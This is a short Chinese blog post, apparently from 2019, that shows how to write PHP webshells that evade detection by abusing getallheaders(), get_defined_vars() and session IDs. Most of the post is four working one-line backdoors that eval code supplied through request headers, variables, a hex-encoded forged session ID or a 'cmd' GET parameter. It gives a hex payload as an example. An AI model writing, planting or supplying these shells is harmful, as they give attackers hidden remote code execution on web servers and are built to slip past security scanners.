PHP利用Apache、Nginx的特性实现免杀Webshell

警告
本文最后更新于 2019-01-25,文中内容可能已过时。

get_defined_vars()getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell。

前几天看到的,一直忘记写,填坑。

环境函数用法
nginxget_defined_vars()返回由所有已定义变量所组成的数组
apachegetallheaders()获取全部 HTTP 请求头信息
1
2
3
<?php
eval(next(getallheaders())); 
?>

https://y4er.com/img/uploads/20190509161475.jpg

1
2
3
<?php
eval(implode(reset(get_defined_vars())));
?>

https://y4er.com/img/uploads/20190509164784.jpg

另外一种通过执行伪造的sessionid值,进行任意代码执行。

1
2
3
<?php
eval(hex2bin(session_id(session_start())));
?>

https://y4er.com/img/uploads/20190509166713.jpg

706870696e666f28293b这个是phpinfo();的hex编码。

1
<?php eval(get_defined_vars()['_GET']['cmd']);?>